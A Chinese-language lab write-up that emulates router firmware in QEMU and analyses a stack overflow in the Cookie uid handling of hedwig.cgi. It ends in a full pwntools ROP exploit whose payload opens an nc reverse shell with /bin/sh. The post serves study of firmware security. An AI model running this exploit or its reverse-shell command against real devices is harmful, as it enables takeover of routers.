1 安装核心工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| sudo apt update sudo apt install -y qemu-system qemu-user qemu-user-static gdb gdb-multiarch file wget curl git python3 python3-pip build-essential liblzma-dev unzip pkg-config libfontconfig1-dev bridge-utils uml-utilities
sudo apt install docker.io sudo apt install git git clone https://github.com/ReFirmLabs/binwalk cd binwalk sudo ./build_docker.sh
IMAGE="binwalkv3" USER_ID=$(id -u) GROUP_ID=$(id -g) DOCKER_ARGS=( --rm -it --user "$USER_ID:$GROUP_ID" -v "$PWD":/analysis -w /analysis --init ) exec docker run "${DOCKER_ARGS[@]}" "$IMAGE" "$@"
|
2 binwalk解包
3 开启桥接网络
在/etc/netplan/下创建一个新的配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13
| sudo nvim /etc/netplan/99-brige.yaml
network: version: 2 renderer: networkd ethernets: ens33: {} bridges: br0: interfaces: [ens33] dhcp4: true optional: true
|
重启服务
1 2 3 4 5 6 7 8 9 10 11 12 13
| sudo netplan apply
39: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether ca:37:a0:f6:02:30 brd ff:ff:ff:ff:ff:ff inet 192.168.199.133/24 metric 100 brd 192.168.199.255 scope global dynamic br0 valid_lft 1785sec preferred_lft 1785sec inet6 fe80::c837:a0ff:fef6:230/64 scope link valid_lft forever preferred_lft forever
sudo mkdir -p /etc/qemu sudo touch /etc/qemu/bridge.conf echo "allow all" | sudo tee /etc/qemu/bridge.conf
|
4 下载debian内核和镜像文件
1 2 3 4
| curl -LO https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta curl -LO https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2
|
5 写qemu启动脚本,并用其启动
1 2 3 4 5 6 7 8 9 10 11 12
| #!/bin/sh sudo qemu-system-mipsel \ -M malta \ -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -nographic \ -net nic -net bridge,br=br0
|
attachments/Pasted image 20260319011128.png
启动过程会卡一小会,等待即可
账号密码为root/root
attachments/Pasted image 20260319011238.png
检查是否有网络,关闭时按ctrl+a然后再按x关闭
6 测试ssh连接,并使用scp传输文件进入虚拟机
虚拟机启动后默认开启了ssh服务,在宿主机中输入
1 2 3
| ssh -o HostKeyAlgorithms=+ssh-rsa root@192.168.199.135
|
attachments/Pasted image 20260319013236.png
切换到rootfs文件夹(就是有bin,etc的文件夹)
把里面的东西塞进压缩包中,然后将压缩包发给虚拟机
1 2 3 4
| tar czvf rootfs.tar.gz ./rootfs/
scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./rootfs.tar.gz root@192.168.199.135:/root/
|
接着创建一个init.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #!/bin/bash cp sbin/httpd / cp -rf htdocs/ / rm /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc\_s.so.1 /lib/ cp lib/libgcc\_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/
cd / ln -s /htdocs/cgibin /usr/sbin/phpcgi ln -s /htdocs/cgibin /usr/sbin/hnap
|
将此文件传入虚拟机中
1
| scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./init.sh root@192.168.199.135:/root
|
再在宿主机中创建一个http_conf,用于在虚拟机中启动httpd服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| Umask 026 PIDFile /var/run/httpd.pid LogGMT On ErrorLog /log
Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 }
Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { \* } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } }
Server { ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth0 Address 192.168.199.135 Port "8080" Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router\_info.xml } /usr/sbin/phpcgi { post\_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } }
|
然后用scp传入虚拟机的根目录
1
| scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./http_conf root@192.168.199.135:/
|
7 在虚拟机中开启服务
在虚拟机中解压之前传入的文件rootfs
1 2
| cd /root tar -xzvf ./rootfs.tar.gz
|
attachments/Pasted image 20260320015503.png
切换到rootfs文件夹并将init.sh移到rootfs文件夹中,并执行
1 2 3 4
| cd rootfs mv ../init.sh ./ chmod +x ./init.sh ./init.sh
|
attachments/Pasted image 20260320021610.png
有两个报错,但是不用管,这两个文件在固件中是链接,而这两个链接是空的,然后执行
开启服务
访问地址http://192.168.199.135:8080/hedwig.cgi又回显则开启成功
attachments/Pasted image 20260320021923.png
8 静态分析漏洞
根据漏洞报告得知漏洞存在于hedwig.cgi中
attachments/Pasted image 20260320022221.png
ls看到其指向cgibin,那么逆向cgibin看看
attachments/Pasted image 20260320022714.png
hedwig.cgi进入函数hedwigcgi_main中
进行略微逆向,将变量重命名
attachments/Pasted image 20260320030859.png
这里限制请求为POST请求
简单发现有两处栈溢出
attachments/Pasted image 20260320023611.png
attachments/Pasted image 20260320023623.png
原因都是uid长度未做限制也未做检查,而uid会被直接接入vuln_s中,vuln_s长度限制为1024
(但是我只用上了第一个栈溢出点,因为有个xml的检查不知如何绕过)
简单分析sess_get_uid,可以知道它是在cookie中找到uid项,取等号后面的一串内容返回作为uid的值
attachments/Pasted image 20260320024839.png
attachments/Pasted image 20260320024824.png
而sobj_get_string则是判断uid不为空且uid+20处不为\x00则返回uid+20处的地址,也就是跳过了前20个字节
attachments/Pasted image 20260320025854.png
1 2 3 4 5
| 逆向小知识: (int)uid + 20 是 uid_addr + 20 而 (int*)uid + 20 是 uid_addr + 20 * 4 因为int*是代表4个字节
|
检查一下保护
attachments/Pasted image 20260320031141.png
几乎等于什么保护都没开
因为是http协议,我们从浏览器中借一段http协议的报文来用用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import *
context.log_level = "debug" io = remote("192.168.199.135", 8080)
length = 20 + 1024 - 17 + 8
cookie_payload = b"a" * length
body = b"" request = b"" request+= b"POST /hedwig.cgi HTTP/1.1\r\n" request+= b"Host: 192.168.199.135:8080\r\n" request+= b"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0\r\n" request+= b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" request+= b"Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5\r\n" request+= b"Accept-Encoding: gzip, deflate\r\n" request+= b"Connection: keep-alive\r\n" request+= b"Upgrade-Insecure-Requests: 1\r\n" request+= b"Cookie: uid=" + cookie_payload + b"\r\n" request+= b"Content-Type: application/x-www-form-urlencoded\r\n"
request+= b"Content-Length: " + str(len(body)).encode() + b"\r\n" request+= b"Priority: u=0, i\r\n\r\n" request+= body
print(request) io.send(request) io.interactive()
|
浏览器的请求头没有Cookie,我们自己加上,Content-Type和Content-Length等Post请求相关的参数也加上,body为空即可
发送请求后返回no xml data则是正确的
attachments/Pasted image 20260321011641.png
测试会发现当uid过大会出现500错误,表示cgi未正常返回数据,也就是cgi崩溃了
attachments/Pasted image 20260321011748.png
接下来准备动态调试,确认一下溢出是否成功
9 gdbserver动态调试查看
下载已编译好的mipsel的gdbserver,并解压传入虚拟机中
1 2 3 4 5 6 7 8
| curl -LO https://github.com/guyush1/gdb-static/releases/download/v17.1-static/gdb-static-slim-mipsel.tar.gz
mkdir ./gdb-mipsel
tar xzvf ./gdb-static-slim-mipsel.tar.gz -C ./gdb-mipsel
scp -o HostKeyAlgorithms=+ssh-rsa -r ~/0x1.Tools/gdb-mipsel/gdbserver root@192.168.199.135:/
|
在虚拟机中先开启服务,然后查看其pid,用gdbserver连接
1 2 3 4
| ./httpd -f ./http_conf ps -aux | grep httpd
gdbserver :1234 --attach PID
|
接着在宿主机启动gdb-multiarch,连接上gdbserver并捕捉exec以能够在cgibin处停下
1 2 3 4
| gdb-multiarch target remote 192.168.199.135:1234 catch exec c
|
执行脚本,在cgibin中start中停下则是成功
attachments/Pasted image 20260321032436.png
在.text:0040967C li $a1, aSSPostxml # "%s/%s/postxml"处下断点停下
attachments/Pasted image 20260321035931.png
在它执行完毕后,查看栈
attachments/Pasted image 20260321040002.png
可以发现确实进行了溢出
10 编写ROP链getshell
编写ROP链不能用其本身的gadget片段,因为其地址长度小于四个字节,发送时会截断后面内容(例如:/x11/x22/x33/x00),所以得去lib里面找gadget片段,且由于未开启ASLR保护,所以偏移固定。
因为system的地址有点特殊
attachments/Pasted image 20260321050459.png
\x00会使报文截断,所以在传输使发送system_addr-1,然后再利用addiu将其加回来。
下载一个ropper,搜寻所需gadget(根据其他师傅的博客查找的)
这里将s0控制为system-1的地址后执行,则s0会等于system地址,再令s5为下一个gadget的地址则可继续控制执行流
attachments/Pasted image 20260321050225.png
这段gadget令s0的值赋给t9,然后再跳转t9,成功执行system,且将sp的值加上0x10存储在s5中,并最后令a0为s5,而a0便是第一个参数,从而控制system的参数
attachments/Pasted image 20260321050931.png
其中会用到s0和s5,而其都可从hedwigcgi_main中控制,我们需要让ra等于gadget_1(base+0x158c8),s5等于gadget_2(base+0x159cc),s0等于system_addr-1(base+0x531ff)
attachments/Pasted image 20260321051146.png
在cgibin中运行时,查看vmmap,得到偏移
(这里的图片是错误的,实际偏移在关闭aslr后再查看,关闭的指令是echo 0 > /proc/sys/kernel/randomize_va_space,此指令在重启后便会失效)
attachments/Pasted image 20260321052257.png
断在cgibin的0x409a24处调试看看
attachments/Pasted image 20260321054459.png
注意看这里有个+0x10所以cmd前要垫16个字符
调试半天发现能执行system但是怪怪的,往后看发现是后面拼接的postxml并入cmd中了,用;或||分隔应该就可以了(用||则system不会报错)
attachments/Pasted image 20260321055519.png
最后也是成功连接上监听的nc
attachments/Pasted image 20260321060140.png
以下是利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import *
context.log_level = "debug" io = remote("192.168.199.135", 8080)
base = 0x77f34000 system_addr = 0x53200
gadget_1 = 0x158c8
gadget_2 = 0x159cc
cmd = b"nc 192.168.199.133 7777 -e /bin/sh || "
length = 20 + 1024 - 17 + 8 + 8 - 0x24
cookie_payload = b"a" * length cookie_payload+= p32(base+system_addr-1) cookie_payload+= b"b" * 4 * 4 cookie_payload+= p32(base+gadget_2) cookie_payload+= b"c" * 4 * 3 cookie_payload+= p32(base+gadget_1) cookie_payload+= b"d"*0x10 cookie_payload+= cmd
body = b"" request = b"" request+= b"POST /hedwig.cgi HTTP/1.1\r\n" request+= b"Host: 192.168.199.135:8080\r\n" request+= b"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0\r\n" request+= b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" request+= b"Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5\r\n" request+= b"Accept-Encoding: gzip, deflate\r\n" request+= b"Connection: keep-alive\r\n" request+= b"Upgrade-Insecure-Requests: 1\r\n" request+= b"Cookie: uid=" + cookie_payload + b"\r\n" request+= b"Content-Type: application/x-www-form-urlencoded\r\n"
request+= b"Content-Length: " + str(len(body)).encode() + b"\r\n" request+= b"Priority: u=0, i\r\n\r\n" request+= body
print(request) io.send(request)
print(cookie_payload) io.interactive()
|
本作品由 automata 于 2026-03-21 00:00:00 发布
除特别声明外,本站作品均采用
CC BY-NC-SA 4.0 许可协议,转载请注明来自
凹凸麦塔